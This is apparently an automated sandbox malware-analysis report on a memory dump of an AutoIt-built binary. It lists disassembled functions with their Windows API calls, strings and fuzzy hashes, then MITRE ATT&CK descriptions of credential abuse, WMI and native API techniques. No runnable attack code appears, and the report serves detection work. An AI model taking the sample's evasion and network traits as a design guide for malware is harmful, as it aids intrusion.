Opcode Fuzzy Hash: 0e9a6a809e343a3e576b98a7430d99e2fc954301ad1a78fe3f0644f21c9dbb12
Instruction Fuzzy Hash: F6518065A8C20696CB257B14D9413BA3BD8EB407C4F30F95CF0D9B63E9DF308C959A86

Uniqueness

Uniqueness Score: -1.00%

Function 00E5E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00E5E1B1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 0c705a103237629ae7ba233f1e0e1fa303b508dfe717039fece017e0011277ec
Instruction ID: 0e346a94bc2b67c75d30021fad6849d385f60df6463aa7d8f3a7ec1488813c65
Opcode Fuzzy Hash: 0c705a103237629ae7ba233f1e0e1fa303b508dfe717039fece017e0011277ec
Instruction Fuzzy Hash: CC511F35904206DEDF18DFA8C0816FA7BA8EF15314F246856ED91BB390D6309E86CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E5F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00E5F2A2
GlobalMemoryStatusEx.KERNEL32 ref: 00E5F2BB

Strings

@, xrefs: 00E5F2AF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 7316116f2896bb166389c4025699dd7109cf37f7fafd2711b49f87fe079c5a4b
Instruction ID: 7947a6dcedf0b2a909d11ce490598b4a3831c176922d1363f96648b27449fee2
Opcode Fuzzy Hash: 7316116f2896bb166389c4025699dd7109cf37f7fafd2711b49f87fe079c5a4b
Instruction Fuzzy Hash: C85156715097489BD320AF51EC86BABBBF8FF84300F91884DF1D9611A5EB318529CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00EC57E0
_wcslen.LIBCMT ref: 00EC57EC

Strings

CALLARGARRAY, xrefs: 00EC57E6, 00EC57EB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 6a51a14cda3d83a9150e44fd0466cd1ea2ba03c0eeb27d516854c3c49b1bc853
Instruction ID: aa31f90762ecf853725af5829bd9ab4627bae54f905d97feefe91c543d45f42f
Opcode Fuzzy Hash: 6a51a14cda3d83a9150e44fd0466cd1ea2ba03c0eeb27d516854c3c49b1bc853
Instruction Fuzzy Hash: 75417F32A002059FCB18DFA8C982DAEBBF5EF59354B14606DF515B7251D731AD82CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EBD0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EBD130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00EBD13A

Strings

|, xrefs: 00EBD10B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: ef46ab4ea963801ed14de2f674b7167030f31a1179d0624f9095edb15f572459
Instruction ID: 9e29d86a8b50da7e2d28df3774bd56f4ca26776f58f60cb4ed09fb040e8e1ecc
Opcode Fuzzy Hash: ef46ab4ea963801ed14de2f674b7167030f31a1179d0624f9095edb15f572459
Instruction Fuzzy Hash: A3311871D01219ABCF15EFA4DC85AEFBFB9FF09344F101019E815B6162EB31AA06DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00ED356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00ED3621
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00ED365C

Strings

static, xrefs: 00ED35BC

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 807c07caa2d3dbeb5fd1b7fd2075087ea70f0acd2924410163ed75121b879821
Instruction ID: bd377ffa44ca0ae24d931270e5e5e9c1b6c95a989c953e7171f96a4c0e9f34b7
Opcode Fuzzy Hash: 807c07caa2d3dbeb5fd1b7fd2075087ea70f0acd2924410163ed75121b879821
Instruction Fuzzy Hash: AA319071110604AEDB20DF38DC41EFB73A9FF48764F10A61AF9A5A7280DA31ED82D761

Uniqueness

Uniqueness Score: -1.00%

Function 00ED4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00ED461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00ED4634

Strings

', xrefs: 00ED458E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: eaab1231e63d7d4fba61b9f057d594300d7f5743eef435ae8789e7331dd9fe24
Instruction ID: 3acbf01f238a222087ab89312cbe3ce6d97a111fefc7a8f45f4aeb2453246b23
Opcode Fuzzy Hash: eaab1231e63d7d4fba61b9f057d594300d7f5743eef435ae8789e7331dd9fe24
Instruction Fuzzy Hash: 9D3136B4A0120A9FDF14CFA9D981BDABBB5FF19304F14506AE915AB381D770E942CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00ED31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00ED327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00ED3287

Strings

Combobox, xrefs: 00ED3249

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 97df0d6d33b01a9c9c96153b6388d6b977e2a9ba987de7522c82473feacf9526
Instruction ID: bc2a86d4a7ce17867ffd0ce45cd9b9d21114241a04bf824fa4a1e5f3cf0fd0d3
Opcode Fuzzy Hash: 97df0d6d33b01a9c9c96153b6388d6b977e2a9ba987de7522c82473feacf9526
Instruction Fuzzy Hash: B611E6717002087FEF219E64DC80EBB375BEB54368F105126F514A73A0D631DD529761

Uniqueness

Uniqueness Score: -1.00%

Function 00ED3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00E4600E: CreateWindowExW.USER32 ref: 00E4604C
Part of subcall function 00E4600E: GetStockObject.GDI32 ref: 00E46060
Part of subcall function 00E4600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E4606A

GetWindowRect.USER32(00000000,?), ref: 00ED377A
GetSysColor.USER32 ref: 00ED3794

Strings

static, xrefs: 00ED3757

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 098288a9121bba36e2dc249e83ccfb15e470f3bda34828314007283d75e5178b
Instruction ID: c8cf64924c723a1720f81c760165d343c21dbfabb677c207a46dfe6e84a58cac
Opcode Fuzzy Hash: 098288a9121bba36e2dc249e83ccfb15e470f3bda34828314007283d75e5178b
Instruction Fuzzy Hash: 531156B261020AAFDF00DFB8DC46AEA7BF8FB08354F005926F955E2250E735E811DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EBCD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00EBCD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00EBCDA6

Strings

<local>, xrefs: 00EBCD66

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: f8b5c3d5059409741ae00ba3c945bf57dc49b9b63236e1aca839881d5b9bee53
Instruction ID: 4598f9587df83011c28640f385effd09bb292665bd3175198b70fd09f73ec428
Opcode Fuzzy Hash: f8b5c3d5059409741ae00ba3c945bf57dc49b9b63236e1aca839881d5b9bee53
Instruction Fuzzy Hash: 2A11C6792096327AD7344B668C45EE7BE6CEF527A8F60522AB149A3080D7709845D6F0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00ED34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00ED34BA

Strings

edit, xrefs: 00ED348F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 5f30f6050efc630e1cdc681154858fe26a1ffcbb6b964a13a26cfb9ed1d91c91
Instruction ID: b5d35a4dbbea7d50cf90bb37105df8ee202284ede228c9b4fb240279d340c708
Opcode Fuzzy Hash: 5f30f6050efc630e1cdc681154858fe26a1ffcbb6b964a13a26cfb9ed1d91c91
Instruction Fuzzy Hash: 19118F71100208AFEF214E74EC44AEB37AAEB05778F606326F971A32D0C779DC569752

Uniqueness

Uniqueness Score: -1.00%

Function 00EA6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

CharUpperBuffW.USER32(?,?), ref: 00EA6CB6
_wcslen.LIBCMT ref: 00EA6CC2

Strings

STOP, xrefs: 00EA6CBC, 00EA6CC1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 02c6ea1d6a59916bbb2a9829f9f87cd0bf80edd5e9b8a908e00e5e5a7ac3b149
Instruction ID: 8d8e8ae0e85dd5e8c5b6a0d360f718f22fb76c80889b6d4294fe085614bd8705
Opcode Fuzzy Hash: 02c6ea1d6a59916bbb2a9829f9f87cd0bf80edd5e9b8a908e00e5e5a7ac3b149
Instruction Fuzzy Hash: B20108326005278BCB20AFBDDC809BF73F4EF6B7647151924E462BA195EA31E900C650

Uniqueness

Uniqueness Score: -1.00%

Function 00EC747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EC7493
_wcslen.LIBCMT ref: 00EC74B9

Strings

3, 3, 16, 1, xrefs: 00EC7483

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 03e3b5fb4c48b5f3f9cf5b25ad3bc8cdadcc595fe2a2c25878b18e8d38cf900e
Instruction ID: 50301d8d6cd767563261378fef792c9ca4ba072525ea2120f104ef47c695cc4c
Opcode Fuzzy Hash: 03e3b5fb4c48b5f3f9cf5b25ad3bc8cdadcc595fe2a2c25878b18e8d38cf900e
Instruction Fuzzy Hash: B4E023416847111093351275ADC1F7F56C9EFC5790710381FF5D1E1196D655CD9353A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EA0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00EA0B23

Strings

Error allocating memory., xrefs: 00EA0B1C
AutoIt, xrefs: 00EA0B17

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 6b712c490bc8019e6895d904c50199f4c6fdf4bc9479dd24c62d1483db4dfde6
Instruction ID: e02906922190620d2630f565ddb89958b4c7d4ea1802f2865b0aa297685611f9
Opcode Fuzzy Hash: 6b712c490bc8019e6895d904c50199f4c6fdf4bc9479dd24c62d1483db4dfde6
Instruction Fuzzy Hash: FEE0D8312843092AD2143754BC03F897BC4CF05FA1F201427FB48795C38AD2645096AA

Uniqueness

Uniqueness Score: -1.00%

Function 00E60D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E5F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00E5F7CE

IsDebuggerPresent.KERNEL32 ref: 00E60D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule), ref: 00E60D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00E60D7F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 2354b399bc05fb1f5134adaf6967352b64075e8d8517b788689fb26b5d0b1675
Instruction ID: 2cf56bbf3dc93a1ba0754b34027d93944ff84448aceecd2361d7fa20997a3d2a
Opcode Fuzzy Hash: 2354b399bc05fb1f5134adaf6967352b64075e8d8517b788689fb26b5d0b1675
Instruction Fuzzy Hash: 48E06D702007118FD320DFB9F4043427BE4EB14795F009A2EE886E6765DBB0E448CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E9D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00E9D220

Strings

%.3d, xrefs: 00E9D22B
X64, xrefs: 00E9D2A8

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: edef71415f64599753d4925bd53ba4c4286924dd6b910c77c7402e7233677155
Instruction ID: f65e2e8403e43f9de52d53cee7b2df8aeb97dd0a3ce9ccac959c6d5a3cf928b7
Opcode Fuzzy Hash: edef71415f64599753d4925bd53ba4c4286924dd6b910c77c7402e7233677155
Instruction Fuzzy Hash: EBD06265C0D129E9CF9097D0DD459F9B3BCEB18341F60A852FD06B1090E624D54CA761

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 00ED236C
PostMessageW.USER32 ref: 00ED2373

Part of subcall function 00EAE97B: Sleep.KERNEL32 ref: 00EAE9F3

Strings

Shell_TrayWnd, xrefs: 00ED2365

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 8c604eb89821278880b7e3bb2d16ac5e445d952872d8e579169a0a261c4c9bfb
Instruction ID: fbc4acc27eb417b4e67923079191bb5cb28732ff265923e0af09d43453abc8f3
Opcode Fuzzy Hash: 8c604eb89821278880b7e3bb2d16ac5e445d952872d8e579169a0a261c4c9bfb
Instruction Fuzzy Hash: 90D0C9323823117AEA64A771AC0FFCA76589B45B50F1049167655FA1D0C9A0B805CA55

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32 ref: 00ED232C
PostMessageW.USER32 ref: 00ED233F

Part of subcall function 00EAE97B: Sleep.KERNEL32 ref: 00EAE9F3

Strings

Shell_TrayWnd, xrefs: 00ED2325

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: fd3bf77bd4edecb9e8c696050d8e34d7aec3dd52350d801c42c5cf08ce024b43
Instruction ID: 8045392fc2e695a8890c6b59cccdb03a07225d4fcea5dd817d7eb4cdaa533834
Opcode Fuzzy Hash: fd3bf77bd4edecb9e8c696050d8e34d7aec3dd52350d801c42c5cf08ce024b43
Instruction Fuzzy Hash: D1D0A932381310BAEA64A331AC0FFCA7A489B00B00F1009027205BA1D0C9A0A804CA00

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

